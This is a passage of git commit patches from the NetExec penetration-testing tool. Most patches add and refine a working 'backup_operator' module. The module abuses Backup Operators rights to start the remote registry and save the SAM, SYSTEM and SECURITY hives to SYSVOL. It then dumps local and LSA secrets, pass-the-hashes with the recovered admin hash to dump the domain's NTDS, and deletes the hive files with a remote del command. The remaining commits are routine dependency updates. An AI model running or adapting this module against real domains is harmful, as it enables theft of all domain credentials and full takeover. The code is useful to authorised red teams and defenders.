nxc/modules/backup_operator.py diff --git a/nxc/modules/backup_operator.py b/nxc/modules/backup_operator.py new file mode 100644 index 00000000..bfc180b6 --- /dev/null +++ b/nxc/modules/backup_operator.py @@ -0,0 +1,141 @@ +import time +import os +import datetime + +from impacket.examples.secretsdump import SAMHashes, LSASecrets, LocalOperations +from impacket.smbconnection import SessionError +from impacket.dcerpc.v5 import transport, rrp + +from nxc.paths import NXC_PATH + +class NXCModule: + name = "backup_operator" + description = "Exploit user in backup operator group to dump NTDS @mpgn_x64" + supported_protocols = ["smb"] + opsec_safe = True + multiple_hosts = True + + def __init__(self, context=None, module_options=None): + self.context = context + self.module_options = module_options + self.domain_admin = None + self.domain_admin_hash = None + + def options(self, context, module_options): + """OPTIONS""" + + def on_login(self, context, connection): + connection.args.share = "SYSVOL" + # enable remote registry + remoteOps = RemoteOperations(connection.conn) + context.log.display("Triggering start trough named pipe...") + self.triggerWinReg(connection.conn, context) + remoteOps.connectWinReg() + + try: + dce = remoteOps.getRRP() + for hive in ["HKLM\\SAM", "HKLM\\SYSTEM", "HKLM\\SECURITY"]: + hRootKey, subKey = self.__strip_root_key(dce, hive) + outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}" + context.log.debug(f"Dumping {hive}, be patient it can take a while for large hives (e.g. HKLM\\SYSTEM)") + try: + ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, dwOptions=rrp.REG_OPTION_BACKUP_RESTORE | rrp.REG_OPTION_OPEN_LINK, samDesired=rrp.KEY_READ) + rrp.hBaseRegSaveKey(dce, ans2["phkResult"], outputFileName) + context.log.highlight(f"Saved {hive} to {outputFileName}") + except Exception as e: + context.log.fail(f"Couldn't save {hive}: {e} on path {outputFileName}") + + except (Exception, KeyboardInterrupt) as e: + context.log.fail(str(e)) + finally: + if remoteOps: + remoteOps.finish() + + # copy remote file to local + remoteFileName = "SAM" + log_sam = os.path.expanduser(f"{NXC_PATH}/logs/{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.{remoteFileName}".replace(":", "-")) + connection.get_file_single(remoteFileName, log_sam) + + remoteFileName = "SECURITY" + log_security = os.path.expanduser(f"{NXC_PATH}/logs/{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.{remoteFileName}".replace(":", "-")) + connection.get_file_single(remoteFileName, log_security) + + remoteFileName = "SYSTEM" + log_system = os.path.expanduser(f"{NXC_PATH}/logs/{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.{remoteFileName}".replace(":", "-")) + connection.get_file_single(remoteFileName, log_system) + + # read local file + try: + def parse_sam(secret): + context.log.highlight(secret) + if not self.domain_admin: + first_line = secret.strip().splitlines()[0] + fields = first_line.split(":") + self.domain_admin = fields[0] + self.domain_admin_hash = fields[3] + + localOperations = LocalOperations(log_system) + bootKey = localOperations.getBootKey() + sam_hashes = SAMHashes(log_sam, bootKey, isRemote=False, perSecretCallback=lambda secret: parse_sam(secret)) + sam_hashes.dump() + sam_hashes.finish() + + LSA = LSASecrets(log_security, bootKey, remoteOps, isRemote=False, perSecretCallback=lambda secret_type, secret: context.log.highlight(secret)) + LSA.dumpCachedHashes() + LSA.dumpSecrets() + except Exception as e: + context.log.fail(f"Fail to dump the sam and lsa: {e!s}") + + if self.domain_admin: + context.log.display(f"Cleaning dump with user {self.domain_admin} and hash {self.domain_admin_hash} on domain {connection.domain}") + connection.conn.logoff() + connection.create_conn_obj() + connection.hash_login(connection.domain, self.domain_admin, self.domain_admin_hash) + connection.execute("del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM") + context.log.display("Successfully deleted dump files !") + + context.log.display("Dumping NTDS...") + connection.ntds() + else: + context.log.display("Use the domain admin account to clean the file on the remote host") + context.log.display("netexec smb dc_ip -u user -p pass -x 'del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM'") + + def triggerWinReg(self, connection, context): + # original idea from https://twitter.com/splinter_code/status/1715876413474025704 + tid = connection.connectTree("IPC$") + try: + connection.openFile(tid, r"\winreg", 0x12019f, creationOption=0x40, fileAttributes=0x80) + except SessionError as e: + # STATUS_PIPE_NOT_AVAILABLE error is expected + context.log.debug(str(e)) + # give remote registry time to start + time.sleep(1) + + def __strip_root_key(self, dce, keyName): + # Let's strip the root key + keyName.split("\\")[0] + subKey = "\\".join(keyName.split("\\")[1:]) + ans = rrp.hOpenLocalMachine(dce) + hRootKey = ans["phKey"] + return hRootKey, subKey + + +class RemoteOperations: + def __init__(self, smbConnection): + self.__smbConnection = smbConnection + self.__stringBindingWinReg = r"ncacn_np:445[\pipe\winreg]" + self.__rrp = None + + def getRRP(self): + return self.__rrp + + def connectWinReg(self): + rpc = transport.DCERPCTransportFactory(self.__stringBindingWinReg) + rpc.set_smb_connection(self.__smbConnection) + self.__rrp = rpc.get_dce_rpc() + self.__rrp.connect() + self.__rrp.bind(rrp.MSRPC_UUID_RRP) + + def finish(self): + if self.__rrp is not None: + self.__rrp.disconnect() \ No newline at end of file From 11062abd4be1b85974799345985fcc302a4b8a30 Mon Sep 17 00:00:00 2001 From: mpgn Date: Thu, 9 Jan 2025 20:44:00 +0100 Subject: [PATCH 201/376] add exit if not right --- nxc/modules/backup_operator.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/nxc/modules/backup_operator.py b/nxc/modules/backup_operator.py index bfc180b6..775f71ab 100644 --- a/nxc/modules/backup_operator.py +++ b/nxc/modules/backup_operator.py @@ -1,6 +1,7 @@ import time import os import datetime +import sys from impacket.examples.secretsdump import SAMHashes, LSASecrets, LocalOperations from impacket.smbconnection import SessionError @@ -44,6 +45,7 @@ class NXCModule: context.log.highlight(f"Saved {hive} to {outputFileName}") except Exception as e: context.log.fail(f"Couldn't save {hive}: {e} on path {outputFileName}") + sys.exit() except (Exception, KeyboardInterrupt) as e: context.log.fail(str(e)) From bb8747906994b1dcc96244b91faa12a1f9aeee09 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Thu, 9 Jan 2025 21:05:05 +0100 Subject: [PATCH 202/376] add test --- tests/e2e_commands.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/tests/e2e_commands.txt b/tests/e2e_commands.txt index 728e93ef..7568702a 100644 --- a/tests/e2e_commands.txt +++ b/tests/e2e_commands.txt @@ -86,6 +86,7 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M install_ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ioxidresolver netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M security-questions netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M remove-mic +netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M backup_operator # currently hanging indefinitely - TODO: look into this #netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M keepass_discover #netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M keepass_trigger -o ACTION=ALL USER=LOGIN_USERNAME KEEPASS_CONFIG_PATH="C:\\Users\\LOGIN_USERNAME\\AppData\\Roaming\\KeePass\\KeePass.config.xml" From 93acdba831a89f5faa4f8b6c14bc639eee5bcf35 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Thu, 9 Jan 2025 22:14:25 +0100 Subject: [PATCH 203/376] fix review --- nxc/modules/backup_operator.py | 93 ++++++++++++++++++---------------- 1 file changed, 48 insertions(+), 45 deletions(-) diff --git a/nxc/modules/backup_operator.py b/nxc/modules/backup_operator.py index 775f71ab..0119c39c 100644 --- a/nxc/modules/backup_operator.py +++ b/nxc/modules/backup_operator.py @@ -6,6 +6,7 @@ import sys from impacket.examples.secretsdump import SAMHashes, LSASecrets, LocalOperations from impacket.smbconnection import SessionError from impacket.dcerpc.v5 import transport, rrp +from impacket import nt_errors from nxc.paths import NXC_PATH @@ -29,14 +30,14 @@ class NXCModule: connection.args.share = "SYSVOL" # enable remote registry remoteOps = RemoteOperations(connection.conn) - context.log.display("Triggering start trough named pipe...") - self.triggerWinReg(connection.conn, context) - remoteOps.connectWinReg() + context.log.display("Triggering start through named pipe...") + self.trigger_winreg(connection.conn, context) + remoteOps.connect_winreg() try: - dce = remoteOps.getRRP() + dce = remoteOps.get_rrp() for hive in ["HKLM\\SAM", "HKLM\\SYSTEM", "HKLM\\SECURITY"]: - hRootKey, subKey = self.__strip_root_key(dce, hive) + hRootKey, subKey = self._strip_root_key(dce, hive) outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}" context.log.debug(f"Dumping {hive}, be patient it can take a while for large hives (e.g. HKLM\\SYSTEM)") try: @@ -46,7 +47,6 @@ class NXCModule: except Exception as e: context.log.fail(f"Couldn't save {hive}: {e} on path {outputFileName}") sys.exit() - except (Exception, KeyboardInterrupt) as e: context.log.fail(str(e)) finally: @@ -54,17 +54,9 @@ class NXCModule: remoteOps.finish() # copy remote file to local - remoteFileName = "SAM" - log_sam = os.path.expanduser(f"{NXC_PATH}/logs/{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.{remoteFileName}".replace(":", "-")) - connection.get_file_single(remoteFileName, log_sam) - - remoteFileName = "SECURITY" - log_security = os.path.expanduser(f"{NXC_PATH}/logs/{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.{remoteFileName}".replace(":", "-")) - connection.get_file_single(remoteFileName, log_security) - - remoteFileName = "SYSTEM" - log_system = os.path.expanduser(f"{NXC_PATH}/logs/{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.{remoteFileName}".replace(":", "-")) - connection.get_file_single(remoteFileName, log_system) + log_path = os.path.expanduser(f"{NXC_PATH}/logs/{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.".replace(":", "-")) + for hive in ["SAM", "SECURITY", "SYSTEM"]: + connection.get_file_single(hive, log_path + hive) # read local file try: @@ -76,13 +68,13 @@ class NXCModule: self.domain_admin = fields[0] self.domain_admin_hash = fields[3] - localOperations = LocalOperations(log_system) + localOperations = LocalOperations(log_path + "SYSTEM") bootKey = localOperations.getBootKey() - sam_hashes = SAMHashes(log_sam, bootKey, isRemote=False, perSecretCallback=lambda secret: parse_sam(secret)) + sam_hashes = SAMHashes(log_path + "SAM", bootKey, isRemote=False, perSecretCallback=lambda secret: parse_sam(secret)) sam_hashes.dump() sam_hashes.finish() - LSA = LSASecrets(log_security, bootKey, remoteOps, isRemote=False, perSecretCallback=lambda secret_type, secret: context.log.highlight(secret)) + LSA = LSASecrets(log_path + "SECURITY", bootKey, remoteOps, isRemote=False, perSecretCallback=lambda secret_type, secret: context.log.highlight(secret)) LSA.dumpCachedHashes() LSA.dumpSecrets() except Exception as e: @@ -94,50 +86,61 @@ class NXCModule: connection.create_conn_obj() connection.hash_login(connection.domain, self.domain_admin, self.domain_admin_hash) connection.execute("del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM") + try: + for hive in ["SAM", "SECURITY", "SYSTEM"]: + connection.conn.listPath("SYSVOL", log_path + hive) + except SessionError as e: + if e.getErrorCode() != nt_errors.STATUS_OBJECT_PATH_NOT_FOUND: + context.log.fail("Fail to remove the files...") + sys.exit() context.log.display("Successfully deleted dump files !") - context.log.display("Dumping NTDS...") connection.ntds() else: context.log.display("Use the domain admin account to clean the file on the remote host") context.log.display("netexec smb dc_ip -u user -p pass -x 'del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM'") - def triggerWinReg(self, connection, context): - # original idea from https://twitter.com/splinter_code/status/1715876413474025704 + def trigger_winreg(self, connection, context): + # Original idea from https://twitter.com/splinter_code/status/1715876413474025704 tid = connection.connectTree("IPC$") try: - connection.openFile(tid, r"\winreg", 0x12019f, creationOption=0x40, fileAttributes=0x80) + connection.openFile( + tid, + r"\winreg", + 0x12019F, + creationOption=0x40, + fileAttributes=0x80, + ) except SessionError as e: # STATUS_PIPE_NOT_AVAILABLE error is expected context.log.debug(str(e)) - # give remote registry time to start + # Give remote registry time to start time.sleep(1) - def __strip_root_key(self, dce, keyName): + def _strip_root_key(self, dce, key_name): # Let's strip the root key - keyName.split("\\")[0] - subKey = "\\".join(keyName.split("\\")[1:]) + key_name.split("\\")[0] + sub_key = "\\".join(key_name.split("\\")[1:]) ans = rrp.hOpenLocalMachine(dce) - hRootKey = ans["phKey"] - return hRootKey, subKey - + h_root_key = ans["phKey"] + return h_root_key, sub_key class RemoteOperations: - def __init__(self, smbConnection): - self.__smbConnection = smbConnection - self.__stringBindingWinReg = r"ncacn_np:445[\pipe\winreg]" - self.__rrp = None + def __init__(self, smb_connection): + self._smb_connection = smb_connection + self._string_binding_winreg = r"ncacn_np:445[\pipe\winreg]" + self._rrp = None - def getRRP(self): - return self.__rrp + def get_rrp(self): + return self._rrp - def connectWinReg(self): - rpc = transport.DCERPCTransportFactory(self.__stringBindingWinReg) - rpc.set_smb_connection(self.__smbConnection) - self.__rrp = rpc.get_dce_rpc() - self.__rrp.connect() - self.__rrp.bind(rrp.MSRPC_UUID_RRP) + def connect_winreg(self): + rpc = transport.DCERPCTransportFactory(self._string_binding_winreg) + rpc.set_smb_connection(self._smb_connection) + self._rrp = rpc.get_dce_rpc() + self._rrp.connect() + self._rrp.bind(rrp.MSRPC_UUID_RRP) def finish(self): - if self.__rrp is not None: - self.__rrp.disconnect() \ No newline at end of file + if self._rrp is not None: + self._rrp.disconnect() \ No newline at end of file From 74d87871664823750a0d24603c5d5252a7526546 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Thu, 9 Jan 2025 22:16:13 +0100 Subject: [PATCH 204/376] fix review --- nxc/modules/backup_operator.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/nxc/modules/backup_operator.py b/nxc/modules/backup_operator.py index 0119c39c..6cb5b175 100644 --- a/nxc/modules/backup_operator.py +++ b/nxc/modules/backup_operator.py @@ -68,8 +68,8 @@ class NXCModule: self.domain_admin = fields[0] self.domain_admin_hash = fields[3] - localOperations = LocalOperations(log_path + "SYSTEM") - bootKey = localOperations.getBootKey() + local_operations = LocalOperations(log_path + "SYSTEM") + bootKey = local_operations.getBootKey() sam_hashes = SAMHashes(log_path + "SAM", bootKey, isRemote=False, perSecretCallback=lambda secret: parse_sam(secret)) sam_hashes.dump() sam_hashes.finish() From 333a7f31de33f391efa55e613113ad0b0f9fd233 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Thu, 9 Jan 2025 22:17:15 +0100 Subject: [PATCH 205/376] fix review --- nxc/modules/backup_operator.py | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/nxc/modules/backup_operator.py b/nxc/modules/backup_operator.py index 6cb5b175..3398c602 100644 --- a/nxc/modules/backup_operator.py +++ b/nxc/modules/backup_operator.py @@ -29,13 +29,13 @@ class NXCModule: def on_login(self, context, connection): connection.args.share = "SYSVOL" # enable remote registry - remoteOps = RemoteOperations(connection.conn) + remote_ops = RemoteOperations(connection.conn) context.log.display("Triggering start through named pipe...") self.trigger_winreg(connection.conn, context) - remoteOps.connect_winreg() + remote_ops.connect_winreg() try: - dce = remoteOps.get_rrp() + dce = remote_ops.get_rrp() for hive in ["HKLM\\SAM", "HKLM\\SYSTEM", "HKLM\\SECURITY"]: hRootKey, subKey = self._strip_root_key(dce, hive) outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}" @@ -50,8 +50,8 @@ class NXCModule: except (Exception, KeyboardInterrupt) as e: context.log.fail(str(e)) finally: - if remoteOps: - remoteOps.finish() + if remote_ops: + remote_ops.finish() # copy remote file to local log_path = os.path.expanduser(f"{NXC_PATH}/logs/{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.".replace(":", "-")) From d666ff3f4a86ae835c38ee3b4ffee0991fc41f1e Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Thu, 9 Jan 2025 22:20:58 +0100 Subject: [PATCH 206/376] fix review --- nxc/modules/backup_operator.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/modules/backup_operator.py b/nxc/modules/backup_operator.py index 3398c602..4eee5edd 100644 --- a/nxc/modules/backup_operator.py +++ b/nxc/modules/backup_operator.py @@ -74,7 +74,7 @@ class NXCModule: sam_hashes.dump() sam_hashes.finish() - LSA = LSASecrets(log_path + "SECURITY", bootKey, remoteOps, isRemote=False, perSecretCallback=lambda secret_type, secret: context.log.highlight(secret)) + LSA = LSASecrets(log_path + "SECURITY", bootKey, remote_ops, isRemote=False, perSecretCallback=lambda secret_type, secret: context.log.highlight(secret)) LSA.dumpCachedHashes() LSA.dumpSecrets() except Exception as e: From d11532c95a3ac5ab51e9b2fa7dff605a5d89d387 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Fri, 10 Jan 2025 10:29:49 +0100 Subject: [PATCH 207/376] remove useless code --- nxc/modules/backup_operator.py | 33 +++++++-------------------------- 1 file changed, 7 insertions(+), 26 deletions(-) diff --git a/nxc/modules/backup_operator.py b/nxc/modules/backup_operator.py index 4eee5edd..3c819b2f 100644 --- a/nxc/modules/backup_operator.py +++ b/nxc/modules/backup_operator.py @@ -29,13 +29,15 @@ class NXCModule: def on_login(self, context, connection): connection.args.share = "SYSVOL" # enable remote registry - remote_ops = RemoteOperations(connection.conn) context.log.display("Triggering start through named pipe...") self.trigger_winreg(connection.conn, context) - remote_ops.connect_winreg() + rpc = transport.DCERPCTransportFactory(r"ncacn_np:445[\pipe\winreg]") + rpc.set_smb_connection(connection.conn) + dce = rpc.get_dce_rpc() + dce.connect() + dce.bind(rrp.MSRPC_UUID_RRP) try: - dce = remote_ops.get_rrp() for hive in ["HKLM\\SAM", "HKLM\\SYSTEM", "HKLM\\SECURITY"]: hRootKey, subKey = self._strip_root_key(dce, hive) outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}" @@ -50,8 +52,7 @@ class NXCModule: except (Exception, KeyboardInterrupt) as e: context.log.fail(str(e)) finally: - if remote_ops: - remote_ops.finish() + dce.disconnect() # copy remote file to local log_path = os.path.expanduser(f"{NXC_PATH}/logs/{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.".replace(":", "-")) @@ -74,7 +75,7 @@ class NXCModule: sam_hashes.dump() sam_hashes.finish() - LSA = LSASecrets(log_path + "SECURITY", bootKey, remote_ops, isRemote=False, perSecretCallback=lambda secret_type, secret: context.log.highlight(secret)) + LSA = LSASecrets(log_path + "SECURITY", bootKey, None, isRemote=False, perSecretCallback=lambda secret_type, secret: context.log.highlight(secret)) LSA.dumpCachedHashes() LSA.dumpSecrets() except Exception as e: @@ -124,23 +125,3 @@ class NXCModule: ans = rrp.hOpenLocalMachine(dce) h_root_key = ans["phKey"] return h_root_key, sub_key - -class RemoteOperations: - def __init__(self, smb_connection): - self._smb_connection = smb_connection - self._string_binding_winreg = r"ncacn_np:445[\pipe\winreg]" - self._rrp = None - - def get_rrp(self): - return self._rrp - - def connect_winreg(self): - rpc = transport.DCERPCTransportFactory(self._string_binding_winreg) - rpc.set_smb_connection(self._smb_connection) - self._rrp = rpc.get_dce_rpc() - self._rrp.connect() - self._rrp.bind(rrp.MSRPC_UUID_RRP) - - def finish(self): - if self._rrp is not None: - self._rrp.disconnect() \ No newline at end of file From 72ff0ae041d07b5ac5b2f509d69914001a06a54f Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 12 Jan 2025 09:28:13 -0500 Subject: [PATCH 208/376] Fix spec file --- netexec.spec | 2 ++ 1 file changed, 2 insertions(+) diff --git a/netexec.spec b/netexec.spec index 58ed7937..2e711d70 100644 --- a/netexec.spec +++ b/netexec.spec @@ -30,6 +30,7 @@ a = Analysis( 'impacket.tds', 'impacket.version', 'impacket.ldap.ldap', + 'jwt', 'nxc.connection', 'nxc.servers.smb', 'nxc.protocols.smb.wmiexec', @@ -71,6 +72,7 @@ a = Analysis( 'dploot.triage.masterkeys', 'dploot.triage.mobaxterm', 'dploot.triage.backupkey', + 'dploot.triage.wam', 'dploot.triage.wifi', 'dploot.triage.sccm', 'dploot.lib.target', From df0b4bba3a668f93343ad844e34c54ab2131ebe3 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 12 Jan 2025 14:58:32 -0500 Subject: [PATCH 209/376] Add oscrypto from github to fix openssl issue --- poetry.lock | 16 ++++++++++------ pyproject.toml | 1 + 2 files changed, 11 insertions(+), 6 deletions(-) diff --git a/poetry.lock b/poetry.lock index 50235202..6b3d086e 100644 --- a/poetry.lock +++ b/poetry.lock @@ -1,4 +1,4 @@ -# This file is automatically @generated by Poetry 1.8.3 and should not be changed by hand. +# This file is automatically @generated by Poetry 1.8.4 and should not be changed by hand. [[package]] name = "aardwolf" @@ -1471,14 +1471,18 @@ version = "1.3.0" description = "TLS (SSL) sockets, key generation, encryption, decryption, signing, verification and KDFs using the OS crypto libraries. Does not require a compiler, and relies on the OS for patching. Works on Windows, OS X and Linux/BSD." optional = false python-versions = "*" -files = [ - {file = "oscrypto-1.3.0-py2.py3-none-any.whl", hash = "sha256:2b2f1d2d42ec152ca90ccb5682f3e051fb55986e1b170ebde472b133713e7085"}, - {file = "oscrypto-1.3.0.tar.gz", hash = "sha256:6f5fef59cb5b3708321db7cca56aed8ad7e662853351e7991fcf60ec606d47a4"}, -] +files = [] +develop = false [package.dependencies] asn1crypto = ">=1.5.1" +[package.source] +type = "git" +url = "https://github.com/wbond/oscrypto" +reference = "HEAD" +resolved_reference = "1547f535001ba568b239b8797465536759c742a3" + [[package]] name = "packaging" version = "24.1" @@ -2506,4 +2510,4 @@ files = [ [metadata] lock-version = "2.0" python-versions = "^3.10.0" -content-hash = "e48bf197f7fcfe678fa0b9e426ddfa732ded291209cd7e7681551d61cce9a10d" +content-hash = "6d49bd57d29f45512946dc1ddcaa667cdcb4ae6393cbc2524a6fab06f13802ab" diff --git a/pyproject.toml b/pyproject.toml index f53cf95a..6359e859 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -51,6 +51,7 @@ minikerberos = "^0.4.1" msgpack = "^1.0.0" msldap = "^0.5.10" neo4j = "^5.0.0" +oscrypto = { git = "https://github.com/wbond/oscrypto" } paramiko = "^3.3.1" poetry-dynamic-versioning = "^1.2.0" pyasn1-modules = "^0.3.0" From 5a63253d16569b011601d01f6fba2ad3a5806996 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Mon, 13 Jan 2025 20:50:11 +0100 Subject: [PATCH 210/376] update module --- nxc/modules/backup_operator.py | 36 ++++++++++++++++++++++------------ 1 file changed, 23 insertions(+), 13 deletions(-) diff --git a/nxc/modules/backup_operator.py b/nxc/modules/backup_operator.py index 3c819b2f..62c089ba 100644 --- a/nxc/modules/backup_operator.py +++ b/nxc/modules/backup_operator.py @@ -85,21 +85,31 @@ class NXCModule: context.log.display(f"Cleaning dump with user {self.domain_admin} and hash {self.domain_admin_hash} on domain {connection.domain}") connection.conn.logoff() connection.create_conn_obj() - connection.hash_login(connection.domain, self.domain_admin, self.domain_admin_hash) - connection.execute("del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM") - try: + if connection.hash_login(connection.domain, self.domain_admin, self.domain_admin_hash): + try: + context.log.display("Dumping NTDS...") + connection.ntds() + except Exception as e: + context.log.fail(f"Fail to dump the NTDS: {e!s}") + + connection.execute("del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM") for hive in ["SAM", "SECURITY", "SYSTEM"]: - connection.conn.listPath("SYSVOL", log_path + hive) - except SessionError as e: - if e.getErrorCode() != nt_errors.STATUS_OBJECT_PATH_NOT_FOUND: - context.log.fail("Fail to remove the files...") - sys.exit() - context.log.display("Successfully deleted dump files !") - context.log.display("Dumping NTDS...") - connection.ntds() + try: + connection.conn.listPath("SYSVOL", log_path + hive) + except SessionError as e: + if e.getErrorCode() != nt_errors.STATUS_OBJECT_PATH_NOT_FOUND: + context.log.fail("Fail to remove the files...") + self.suprress_error(context) + sys.exit() + context.log.display("Successfully deleted dump files !") + else: + self.suprress_error(context) else: - context.log.display("Use the domain admin account to clean the file on the remote host") - context.log.display("netexec smb dc_ip -u user -p pass -x 'del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM'") + self.suprress_error(context) + + def suprress_error(self, context): + context.log.display("Use the domain admin account to clean the file on the remote host") + context.log.display("netexec smb dc_ip -u user -p pass -x 'del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM'") def trigger_winreg(self, connection, context): # Original idea from https://twitter.com/splinter_code/status/1715876413474025704 From f999da0a316c3af12f6918dc998348569c1a443c Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Mon, 13 Jan 2025 20:52:52 +0100 Subject: [PATCH 211/376] update module --- nxc/modules/backup_operator.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/modules/backup_operator.py b/nxc/modules/backup_operator.py index 62c089ba..88550dc1 100644 --- a/nxc/modules/backup_operator.py +++ b/nxc/modules/backup_operator.py @@ -98,7 +98,7 @@ class NXCModule: connection.conn.listPath("SYSVOL", log_path + hive) except SessionError as e: if e.getErrorCode() != nt_errors.STATUS_OBJECT_PATH_NOT_FOUND: - context.log.fail("Fail to remove the files...") + context.log.fail(f"Fail to remove the file { hive }...") self.suprress_error(context) sys.exit() context.log.display("Successfully deleted dump files !") From 5e04926d7e5f3e37991588665eb8c8e7fbd19c6a Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Mon, 13 Jan 2025 21:51:22 +0100 Subject: [PATCH 212/376] update module --- nxc/modules/backup_operator.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/modules/backup_operator.py b/nxc/modules/backup_operator.py index 88550dc1..0eb777f5 100644 --- a/nxc/modules/backup_operator.py +++ b/nxc/modules/backup_operator.py @@ -82,7 +82,6 @@ class NXCModule: context.log.fail(f"Fail to dump the sam and lsa: {e!s}") if self.domain_admin: - context.log.display(f"Cleaning dump with user {self.domain_admin} and hash {self.domain_admin_hash} on domain {connection.domain}") connection.conn.logoff() connection.create_conn_obj() if connection.hash_login(connection.domain, self.domain_admin, self.domain_admin_hash): @@ -92,6 +91,7 @@ class NXCModule: except Exception as e: context.log.fail(f"Fail to dump the NTDS: {e!s}") + context.log.display(f"Cleaning dump with user {self.domain_admin} and hash {self.domain_admin_hash} on domain {connection.domain}") connection.execute("del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM") for hive in ["SAM", "SECURITY", "SYSTEM"]: try: From 142530ca4978564df76b19f3ed6812c8f1e350a1 Mon Sep 17 00:00:00 2001 From: zblurx Date: Tue, 14 Jan 2025 14:50:58 +0100 Subject: [PATCH 213/376] update dploot to 3.1.0 --- poetry.lock | 8 ++++---- pyproject.toml | 2 +- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/poetry.lock b/poetry.lock index 6b3d086e..cbe8b261 100644 --- a/poetry.lock +++ b/poetry.lock @@ -678,13 +678,13 @@ wmi = ["wmi (>=1.5.1)"] [[package]] name = "dploot" -version = "3.0.3" +version = "3.1.0" description = "DPAPI looting remotely in Python" optional = false python-versions = "<4.0.0,>=3.10.0" files = [ - {file = "dploot-3.0.3-py3-none-any.whl", hash = "sha256:8d0a2c90e77594b4a7f5b4cee64f71b38d295da27151b5c4f5a0584a7d00ff3b"}, - {file = "dploot-3.0.3.tar.gz", hash = "sha256:301b8ef5a9c27bcc030feef6a51fdb16b579a40984216636a4a4af3d24ead324"}, + {file = "dploot-3.1.0-py3-none-any.whl", hash = "sha256:9fb89c4332f407700929290f147703c79e253d14a505649174c9d761415fddfe"}, + {file = "dploot-3.1.0.tar.gz", hash = "sha256:0e531a12481b0c741be41574988f2a8d3046a66457edb3faecc64ee20f88d6e2"}, ] [package.dependencies] @@ -2510,4 +2510,4 @@ files = [ [metadata] lock-version = "2.0" python-versions = "^3.10.0" -content-hash = "6d49bd57d29f45512946dc1ddcaa667cdcb4ae6393cbc2524a6fab06f13802ab" +content-hash = "6a4e460ce87103f0a4f9eeddbf78d48cd9e8dc6092457187f2deef26b0ccdfc4" diff --git a/pyproject.toml b/pyproject.toml index 6359e859..dbea2e61 100644 --- a/pyproject.toml +++ b/pyproject.toml 